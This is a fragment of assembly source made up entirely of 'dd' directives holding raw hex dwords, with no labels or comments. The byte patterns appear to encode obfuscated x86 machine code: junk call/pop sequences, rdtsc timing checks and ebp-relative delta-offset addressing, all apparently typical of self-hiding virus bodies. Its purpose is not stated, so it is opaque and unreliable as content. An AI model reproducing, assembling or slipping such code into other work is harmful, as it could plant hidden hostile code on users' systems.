		dd 91E30000h, 531623h, 57CC1CDFh, 5F50310Fh, 895B585Ah
		dd 810F2404h, 5, 4EED2BBBh, 0D88B6679h,	0BB66006Ah, 8D894BFBh
		dd 6221CDDh, 4E8h, 1F03FF00h, 9ABF6600h, 5F565078h, 424448Bh
		dd 12E8h, 18A81D00h, 0EEA232E5h, 26870840h, 0ABB68941h
		dd 662F3846h, 5F406EBBh, 4489008Bh, 60520424h, 5250C28Bh
		dd 585A310Fh, 6A585F61h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 66AAC357h, 69D0C781h
		dd 1E9195FFh, 6A0622h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 0E006C8C3h, 0FB8E78FEh, 89215FD9h
		dd 2204E18Dh, 0EB858906h, 6A0625CAh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0C604C355h
		dd 0C9864532h, 859BB535h, 27E99D8Bh, 27E90622h,	9000002h
		dd 222479BDh, 0E3858B06h, 6A0625CAh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 4D9EC356h
		dd 8C22C15Eh, 1BD8BFAh,	0C7062208h, 1800h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h
		dd 8F72FB69h, 8509A1BFh, 622066Dh, 0CAE7B58Bh, 0B70F0625h
		dd 852960DFh, 622134Dh,	6D88B966h, 65858B61h, 6A06220Ah
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 4EE6C356h, 0D07A9742h, 689760Ch, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 4EC35747h, 0C4242C21h
		dd 40C94B32h, 99D299Dh,	8B062229h, 2210B985h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 0B2276783h, 8B662C2Ah, 44689D9h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 28C35343h, 0ADB8322Bh, 8D895E2Dh
		dd 6222C5Dh, 50D98B66h
		dd 13E8h, 0DB09CE00h, 9C3D35C1h, 4878E8D5h, 40120F46h
		dd 4730E94Ch, 58E0Fh, 0B0BF0000h, 5F69999Ch, 6A243489h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 6EB5C356h, 896510E3h, 0FF514F2h, 482h, 13BF6600h
		dd 0E3B5FF19h, 6A0625CAh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 2971C355h, 22012DB5h
		dd 2CB96806h, 8B66BE4Bh, 240481DAh, 41D3D746h, 5860Fh
		dd 81660000h, 314FCCF3h, 2210518Dh, 0EB858D06h,	6A0625CAh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 1DCDC353h, 5829BEB8h, 119D8BC7h, 0B706220Eh
		dd 0E86050DEh, 0Ch, 1DC2565Bh, 93C79C47h, 3EEC8158h, 8B5E5F56h
		dd 48961F3h, 0D98B6624h, 95FFA1B7h, 6221E91h, 0B1BD8B50h
		dd 5F062231h, 3515BD0Bh, 6A610622h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 1D72C351h
		dd 0C5E0D3B7h, 9D295D3Eh, 6221CD5h, 9E9h, 0E4D5F000h, 3840BE91h
		dd 85C75B19h, 62230E5h,	3, 38FC381h, 0BD8373EFh, 625CAEBh
		dd 2A840F00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 0D744C355h,	21E957E5h
		dd 89000000h, 220FBD95h, 0C305006h, 11440011h, 10E8C101h
		dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
		dd 1116400h, 3010E8C1h,	21144h,	58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 6A4DDF80h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 9470C357h
		dd 0DA899DCDh, 0A89ACABFh, 0D3816657h, 0BD837DBBh, 62230E5h
		dd 0A2850F03h, 0F000003h, 380h,	3EEB8000h, 0CAEBBD83h
		dd 0F000625h, 38C84h, 418D8900h, 66062216h, 0FF5C44BFh
		dd 25CAEBB5h, 0EE906h, 42520000h, 1854CEF3h, 9A6C27F1h
		dd 0B05A33EBh, 0BE9h, 26AF6F00h, 0F8ABE0F9h, 0F8DDF3E7h
		dd 1DCD95FFh, 8E0F0622h, 6, 339D8531h, 0B58B0622h, 625CADFh
		dd 2C51BD29h, 6C70622h,	10001h,	0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 15h, 0B6C35040h,	6696FC7Fh, 6650D98Bh
		dd 96C3F9BBh, 2181BD09h, 0B5FF0622h, 625CAEBh, 95FFDF8Bh
		dd 6222541h, 8BD98B66h,	25CADFB5h, 8E906h, 96F20000h, 59DFA3B2h
		dd 858B1F39h, 6221B2Dh,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 15h, 5DC35040h, 19D8B2Dh, 89062226h, 0C486h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 8BEA57E1h, 22100DBDh, 0F1958B06h, 0F062233h
		dd 0C283FBB7h, 55006A04h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 8BFD9420h, 2225F59Dh
		dd 8E806h, 50080000h, 0A0F23D3Bh, 0FE8BC202h, 2050895Fh
		dd 14E9h, 8ADB7C00h, 0D0209206h, 16BD2DB2h, 2F8F6245h
		dd 99B2A489h, 0BC858D6Fh, 660625DEh, 6244EB81h,	0B88689h
		dd 6A0000h, 0E851006Ah,	3, 59C35920h, 4244C89h,	4244481h
		dd 15h,	3FC35141h, 8BFC8A3Fh, 220F9D9Dh, 999D0106h, 0FF062211h
		dd 25CAEBB5h, 0AEBFF906h, 0FF673534h, 22028595h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 0BBA5CB8Fh, 0B3539721h, 0CF816670h, 89509921h, 6A2434h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 0BE9F9C3h, 9F000000h, 7D95BAADh, 0BD588FD5h,	8960A6D3h
		dd 2209119Dh, 499D2306h, 6106220Eh, 0FFDE8B66h,	25CAEBB5h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 0FFFC454Fh, 221AF595h, 55006A06h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h
		dd 83FCBC08h, 221331BDh, 840F0006h, 51h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 17h, 0BDC35343h, 0B32785BAh
		dd 0B9BB5097h, 8954D7D9h, 6A2434h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 6B259DC3h, 89026D26h
		dd 22184DBDh, 0EBB5FF06h, 0FF0625CAh, 221D4195h, 0DAB70F06h
		dd 0CAEBB5FFh, 6A0625h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 50FCFC3h, 8B854AC9h, 2228E1BDh
		dd 0C595FF06h, 8906222Fh, 22212985h, 0A9BD8306h, 2062202h
		dd 6A840Fh, 6A0000h, 3E853h, 5B200000h,	5C895BC3h, 44810424h
		dd 170424h, 53430000h, 0CFE6E6C3h, 0E1858BF8h, 66062200h
		dd 8DCDF781h, 15219529h, 0C60622h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 2504E08Ch
		dd 0A1A17BACh, 9D31608Fh, 62208B9h, 8CE921BBh, 9D33610Ch
		dd 62214A5h, 197D85C7h,	622h, 66600000h, 3D5AEF81h, 894FBF66h
		dd 0F369E961h, 6AFFFFh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 28764DC3h, 3C9B501h, 0C18B0622h
		dd 0C9086BFh, 0E58D891Ah, 8D062220h, 222CB585h,	0C0816006h
		dd 6CEE7162h, 247D9D89h, 50610622h, 0FE8B5250h,	8E8310Fh
		dd 20000000h, 0CC5412BBh, 5F4E656Fh, 489585Ah, 57006A24h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 6A6F63h, 6A97B3h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 19h, 9C35242h, 0E68593A2h,	0DF8B66ECh, 267D8589h
		dd 858D0622h, 626F099h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 17h, 0A1C35343h, 83410219h, 6A05C0h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 0C20427C3h, 0EDAD7873h, 9E8E8h, 5BD80000h, 9F1C80F1h
		dd 895493E3h, 221531B5h, 880F5B06h, 0Dh, 5E8h, 2E96C600h
		dd 5F56D166h, 0E850905Bh, 0Fh, 0E05C22Eh, 2F03A488h, 0AC87DE3Dh
		dd 514E7A5Dh, 9E8h, 0ECD13B00h,	4DBEF46Eh, 5F5F43FEh, 6A905Fh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 0CC67C2C3h, 8166B2B0h, 6A162BE3h, 9DBD8B00h,	6A06221Ah
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1C04h
		dd 0C3514100h, 0C82EE016h, 0CD644B7Fh, 0AE9EDh,	2BD60000h
		dd 4EF65D10h, 0D725D152h, 355595FFh, 95890622h,	62232F5h
		dd 0A90F8D8Dh, 0D1FF0625h, 0BD83DE8Bh, 62200F5h, 0B6850F01h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 2022C355h, 0F78B580h, 138B0F50h
		dd 0E9000000h, 0Eh, 2ED5B228h, 0EE25DEABh, 0E8DA52C1h
		dd 6A5BE9D7h, 57006A02h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 7EFFBE16h, 0EB56D24Fh, 12E9CFh, 0E0990000h
		dd 0F59ABE0Bh, 21023972h, 8C20FED8h, 0F2C36B70h, 0AB95BF90h
		dd 9050521Bh, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Bh,	0E4C35747h, 17DA4B75h, 2900EDF5h, 221D6195h, 8595FF06h
		dd 89062202h, 2201ED95h, 0DBCE906h, 0E80000h, 5D000000h
		dd 0F0A3ED81h, 9D890626h, 62215F9h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 66C35646h, 0E830AC0Ch, 11h
		dd 18E7B741h, 0E6F4160Ah, 8D308F3Dh, 0B7257168h, 0CD85316Bh
		dd 5F06222Ch, 9345858Dh, 6A0625h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 1C89B7C3h, 82B89136h
		dd 0A99D8BB8h, 9006221Bh, 6A9050h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 150424h, 56460000h, 8B98D3C3h, 35FF64FBh
		dd 0
		dd 0F1D38166h, 258964F4h, 0
		dd 3085BD8Bh, 85FF0622h, 62208B1h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 8BC35343h, 52AC06FCh, 68E0F57h
		dd 81000000h, 9B02ADDFh, 6AFF6A2Eh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 4370C353h
		dd 6028EAF0h, 0A4DE8166h, 0E18A575Ah, 0B5FF6159h, 622140Dh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0FFC35141h
		dd 57D6B92Fh, 0FF1CFC89h, 221C3595h, 118E906h, 81660000h
		dd 0B02D40D7h, 159D8B00h, 0E6062221h, 718D2970h, 0E4062214h
		dd 0AE971h, 0BBD40000h,	67ACB1D6h, 51B19506h, 830F613Ch
		dd 0EAh, 10E9h,	0EC904B00h, 0D0D9A21Fh,	0F18DDB95h, 6B867782h
		dd 0C8B60F89h, 0BAD9B70Fh, 6, 356034BFh, 89C18B27h, 221B1185h
		dd 4E8C106h, 0F766DF8Bh, 0B48ABBE2h, 0C82B02CAh, 7BDDBF66h
		dd 0A3E9D18Bh, 0E9000000h, 7, 78A87D66h, 8B827E88h, 485h
		dd 0B98D0100h, 83062225h, 880F07C0h, 6,	3145BD89h, 0C0830622h
		dd 46F2BB00h, 0D03B4EDAh, 21830Fh, 0D98B0000h, 65E9h, 9E800h
		dd 0B0C00000h, 0B2A24E86h, 0F80D3D7h, 587h, 0D3816600h
		dd 8B5F941Dh, 0FFFFFF8Dh, 0C8F0FFFh, 0F000000h,	689h, 85BD8900h
		dd 6606221Eh, 833DD1BBh, 840F01E1h, 26h, 33FDB501h, 0A5830622h
		dd 0FFFFFFFFh, 8B97B7FEh, 22253D9Dh, 4958906h, 89000000h
		dd 221C0DBDh, 0E906h, 0B58D0000h, 6266FE4h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 78C35040h, 0D9FEA303h
		dd 89006A44h, 221BF19Dh, 7595FF06h, 6A062230h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 0CB6EC357h, 0E4B90DCAh, 633CF005h, 0AE8h, 0F245A600h
		dd 0C3BF6198h, 0BB8DC2E6h, 2778CD55h, 0FB7B95Bh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 3B2716C3h, 0F35668Ah, 0E183F8BFh, 21BD8BFCh,	0FC062233h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 5DC35747h
		dd 119046D3h, 0F7A7C80h, 0C02BF9B7h, 28419529h,	0D22B0622h
		dd 339D9D8Bh, 33AD0622h, 3E8D1C2h, 4E983D0h, 0AFBFF475h
		dd 6A63FFDBh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 3A7EC357h, 603E300Ah, 6649E280h
		dd 0D61DF8Bh, 88h, 0E7816653h, 8B5F7551h, 2233F195h, 8B3EB306h
		dd 222D318Dh, 0C28B5006h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h
		dd 6A58188Bh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 0E21FC357h, 27EBCEC0h,	55006AF6h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 79BD8B3Fh, 0E9062200h, 8, 4A8AC75Dh,	69164998h, 2C69BD83h
		dd 0F000622h, 6A84h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1904h, 0C3554500h, 0BAF6A116h, 0BBF97C00h
		dd 208D90B0h, 0B8h, 0D59D8B00h,	8D062200h, 2250B18Dh, 0BF666006h
		dd 4BBF884Ch, 616E3947h, 6AE1FFh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 4E8F9BC3h, 2D105B09h
		dd 839E99E3h, 2230E5BDh, 840F0006h, 408h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Ah, 49C35545h, 3B8546AEh
		dd 0BB664D10h, 8B66E4C8h, 0BE96BBFAh, 0BD832C75h, 62230E5h
		dd 0E8840F01h, 6A000003h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 0A6AFC350h,	558D77AFh
		dd 38F0Fh, 0B70F0000h, 88ECBFDFh, 0BD836C5Fh, 62230E5h
		dd 76860F03h, 6A000003h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 556AC356h, 31A2C705h
		dd 0EE917h, 27770000h, 5B589D82h, 12DFD671h, 89A6B170h
		dd 0F9BF0F60h, 6AD98C66h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 0CB6DC353h,	0C27EF81h
		dd 0E180463Ch, 0F98D8904h, 60062225h, 7E8h, 0C4A92300h
		dd 3CBBCA21h, 895F52B4h, 22003195h, 0C90A6106h,	0C4840Fh
		dd 85890000h, 6221845h,	10B9858Bh, 9E90622h, 0C000000h
		dd 7BE3477Ah, 2FF5896Eh, 8A58533h, 0BF570622h, 714F9D89h
		dd 27B7905Fh, 0DEB0BF50h, 8B907A4Ch, 2234D19Dh,	51006A06h
		dd 1A1BD23h, 685F0622h,	6EFA25D0h, 52505250h, 8D0Fh, 310F0000h
		dd 310F5250h, 585A585Ah, 0DBB7310Fh, 3481585Ah,	0E5262F24h
		dd 15BD8B6Eh, 0FF062228h, 221E9195h, 89FB8B06h,	25CAEB85h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 0FEBAACAEh, 0CD804892h, 1D2E9h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 4C94A1C4h, 858BFA8Bh, 625CAE3h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 97C35040h, 0F5D0F9B6h, 0C7F330h
		dd 18h,	8BFE8B66h, 25CAE7B5h, 5DBD8B06h, 8B06220Fh, 220A6585h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 0F590B5A8h, 0BF660689h, 858BEDFDh, 62210B9h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 84C35040h
		dd 3D9D8BFCh, 23062210h, 2205E99Dh, 4468906h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0AC35747h, 0B2C51CA6h
		dd 0B87043F0h, 1CB7D98Bh, 0A760F781h, 895043CFh, 0FFF52434h
		dd 25CAE3B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 0DC014Ah,	4E82BCEh, 0FF000000h, 66001F03h
		dd 509452BBh, 448BFE8Bh, 0FE80424h, 6E000000h, 0CBC7044Ah
		dd 5769CF5Dh, 30E161A2h, 0DE8F44Fh, 43000000h, 0D903CEA8h
		dd 0ED71A0D7h, 906C25C4h, 0FFA282BFh, 8B5F5F7Ch, 0FE85200h
		dd 4A000000h, 651DA848h, 5AD9FC74h, 20587C7Eh, 8B6691E6h
		dd 895B5FD9h, 66042444h, 8958F88Bh, 222031B5h, 0BCBB6606h
		dd 0EB858D04h, 660625CAh, 0BB90D98Bh, 58DD463Ah, 7F5FBB50h
		dd 0E9902EE6h, 7, 7D447F7Bh, 0FF887ECEh, 221E9195h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 1B747AC3h, 5FBB9A74h, 6101DF93h, 85C772B7h, 62230E5h
		dd 3, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h, 14h
		dd 7EC35747h, 95BD8Bh, 0E9600622h, 0Eh,	3C10E40Eh, 7DC0C703h
		dd 95E0592h, 8361CFCBh,	25CAEBBDh, 840F0006h, 29h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0BAC35242h, 21E95CBCh
		dd 89000000h, 2204B585h, 0C305006h, 11440011h, 10E8C101h
		dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
		dd 1116400h, 3010E8C1h,	21144h,	58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h
		dd 0C08B00EBh, 0FC94BF66h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 18h, 0BBC35646h, 1888726Ah, 8830Fh, 29570000h
		dd 221F8D95h, 0FFC5F06h, 685h, 9D9D8B00h, 8306221Ah, 2230E5BDh
		dd 850F0306h, 481h, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 36C35747h, 495AB3Bh, 0BD83BFB8h, 625CAEBh
		dd 52840F00h, 6A000004h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 8626C355h, 699D2B54h
		dd 6606220Eh, 0FF5357BFh, 25CAEBB5h, 9E906h, 577F0000h
		dd 2BF0EAE8h, 0FF53385Ah, 221DCD95h, 299D8B06h,	8B062218h
		dd 25CADFB5h, 0DE38106h, 0C74A6EFCh, 1000106h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 66C6C02Ah, 4B03A0F9h, 9E938h, 0E3980000h, 0FE5C291Ah
		dd 0F53077DCh, 0BF665096h, 6A9628FAh, 3E85500h,	20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 5B66C355h
		dd 7B2651B7h, 11E943h, 50AC0000h, 6898037Fh, 0E40EE9D2h
		dd 0C7033C10h, 0FF927DC0h, 25CAEBB5h, 219D8B06h, 0FF062205h
		dd 22254195h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 0D7381EEBh, 13E9h, 0CFE33B00h, 9F6B7C9Fh
		dd 82283978h, 442DA3C8h, 0DDC30CABh, 0CADFB58Bh, 6A0625h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 0BDD407C3h, 8BFBB70Fh, 221B2D85h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 0E8C59896h
		dd 9, 0A09286BCh, 7D1BEBE2h, 12850F0Bh,	0E9000000h, 0Dh
		dd 6946BAE4h, 29A3A4A8h, 3DD0F10Bh, 86895FC9h, 0C4h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 22C35141h, 76789658h
		dd 49BD8BADh, 8B062233h, 2233F195h, 8E906h, 6CBD0000h
		dd 24CFC288h, 9D8B3C39h, 6223079h, 6A04C283h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 0F14FC356h, 7936542Ch, 89205089h, 220005BDh,	0BC858D06h
		dd 0F0625DEh, 89FCFABFh, 0B886h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 0F0F627EBh
		dd 1028E7C7h, 13E930h, 0FD370000h, 22AC3641h, 0B1337849h
		dd 2C6962E7h, 37F50ACh,	0F006A98h, 68Ch, 959D8B00h, 0FF062233h
		dd 25CAEBB5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 707DFE5Fh, 347CFA92h, 8595FF92h
		dd 8A062202h, 5E9F8h, 0CD3B0000h, 962D146Ah, 6650FE8Bh
		dd 6A96DE8Bh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 9E8EC353h, 319BD8Bh, 0B5890622h
		dd 62227D5h, 0CAEBB5FFh, 6A0625h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 5B468CC3h, 0C19EB457h
		dd 0B2B3B362h, 1AF595FFh, 6A0622h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 462486C3h, 7E84DEBFh
		dd 31BD8314h, 62213h, 70840Fh, 13E90000h, 5B000000h, 0BDE5252Fh
		dd 0ADBD5A1Eh, 91D96520h, 320865D9h, 0E896EB47h, 0Eh, 40C05436h
		dd 8923D22Ah, 0B0236B10h, 52503C63h, 310F6160h,	310F5250h
		dd 585A585Ah, 5250505Fh, 5660310Fh, 800F5Ah, 61000000h
		dd 6A96585Ah, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 0DED1C356h, 28C59D2Bh,	0B5FF0622h
		dd 625CAEBh, 75BD8B57h,	5F06222Dh, 1D4195FFh, 6A0622h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 6A8BDDC3h, 8FAF0E62h, 0CAEBB5FFh, 6A0625h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 3CBE55C3h
		dd 4C15DAB1h, 8B4B70ACh, 0C595FFF9h, 0F06222Fh,	0BD83D9B7h
		dd 62202A9h, 39840F02h,	0B3000000h, 0E1858BC1h,	89062200h
		dd 222C498Dh, 0C606h, 0E856006Ah, 3, 5EC35E20h,	4247489h
		dd 4244481h, 1Ah, 41C35646h, 559E36Dh, 9D8B0ED3h, 622006Dh
		dd 197D85C7h, 622h, 0EB800000h,	0F363E9EAh, 8956FFFFh
		dd 22311DB5h, 0C18B5B06h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Dh, 2EC35141h, 0A447B589h, 0B7A4ACE0h, 0D38166D0h
		dd 858D53BFh, 6222CB5h,	0C8D0BB50h, 4890CC5h, 0FA8B6624h
		dd 8E9h, 5AECBD00h, 8BCB15D3h, 6A006A48h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 4E28C352h
		dd 8166006Ah, 8DAA82E3h, 27002385h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 8E86097h, 13000000h
		dd 84189196h, 6021B6CFh, 0B4B65961h, 5C08361h, 50DAB70Fh
		dd 48996B7h, 57006A24h,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 9D8BE055h, 6221E95h, 7E9h, 49403500h
		dd 0E745DDEEh, 0F8F9006Ah, 95FF006Ah, 6223555h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0CCC35242h, 0F8D8DC0h
		dd 8B0625A9h, 222029BDh, 0F6BB6006h, 0F72E864h,	0FF61DBBFh
		dd 83D98AD1h, 2200F5BDh, 850F0106h, 0C3h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 1Bh, 6FC35747h, 6BF5AD30h
		dd 66611256h, 563636BBh, 10880Fh, 0BE90000h, 3A000000h
		dd 71EDCC92h, 830A3F30h, 6A5F0A6Ah, 35850902h, 50062224h
		dd 6E95250h, 27000000h,	9795741Ch, 60310F67h, 5F57FB8Bh
		dd 89585A61h, 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 8B377DC3h, 2226859Dh, 8595FF06h
		dd 6A062202h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 8D15C355h, 0D7DDE07Bh,	0BB66AC84h
		dd 870F7B2Dh, 0Bh, 5820Fh, 0FCBF0000h, 0E915956Ch, 0E38h
		dd 0E8h, 0ED815D00h, 627002Dh, 8E9h, 8842B900h,	515F89C8h
		dd 0DE81Eh, 0E0830000h,	80C74355h, 794DFB12h, 8B0E290Ch
		dd 223511BDh, 9D895B06h, 622160Dh, 9345858Dh, 6A0625h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 0CF4C7EC3h, 0BC53F20Eh, 0CE9h, 9F412400h, 47E9BDFEh
		dd 0E402BAE8h, 599D0114h, 50062212h, 52505250h,	310FF98Bh
		dd 26CABB66h, 310F585Ah, 0A614FCBFh, 89585A29h,	0BB662404h
		dd 0FF6450C4h, 35h, 645F5000h, 2589h, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 271CA8C3h, 3F64ED11h, 0B185FF5Eh, 66062208h,	2F25E381h
		dd 6AFF6Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 35C04FC3h, 0FD942076h, 0B5FF4650h, 6220021h
		dd 0D98D2956h, 5B062206h, 1C3595FFh, 2DE90622h,	0F000001h
		dd 68Bh, 398D0900h, 0B0062203h,	0DEB70F00h, 0F70E6FCh
		dd 8166FFB7h, 0E4F673C3h, 85BF6671h, 0F613C45h,	10383h
		dd 0A25EBB00h, 0B60F1062h, 0E5BD8BC8h, 0BA062200h, 6, 8BFEB70Fh
		dd 4E8C1C1h, 3229BD31h,	0F7660622h, 0C9BF50E2h,	5B7B137Dh
		dd 0D7BFC82Bh, 8B3D3C17h, 858960D1h, 62228BDh, 221DCE81h
		dd 0E9612AE1h, 0BCh, 10E960h, 1C6B0000h, 0BFB15B98h, 0A71D6213h
		dd 587E1EB9h, 0DD8A4A02h, 44858B61h, 505F4C4Ch,	6830Fh
		dd 9D030000h, 6221C59h,	7C0835Fh, 7E9h,	0D2D98400h, 0B4E723F0h
		dd 0B6D1DB81h, 0C0830839h, 0EDC78100h, 3B07F92Fh, 11830FD0h
		dd 29000000h, 220A6D95h, 5EE906h, 0BD890000h, 622107Dh
		dd 0FFFF8D8Bh, 0DE8BFFFFh, 0F01E183h, 4784h, 0FE800h, 4E590000h
		dd 77047AF3h, 0A72ACF48h, 2A763F0Ch, 0ACB8148h,	5F7EFEB1h
		dd 0FFFFA583h, 0E9FEFFFFh, 0Fh,	859F2E81h, 4B81F10Ah, 29093CF6h
		dd 89E49E61h, 4C4C4495h, 719D235Fh, 0E9062226h,	0
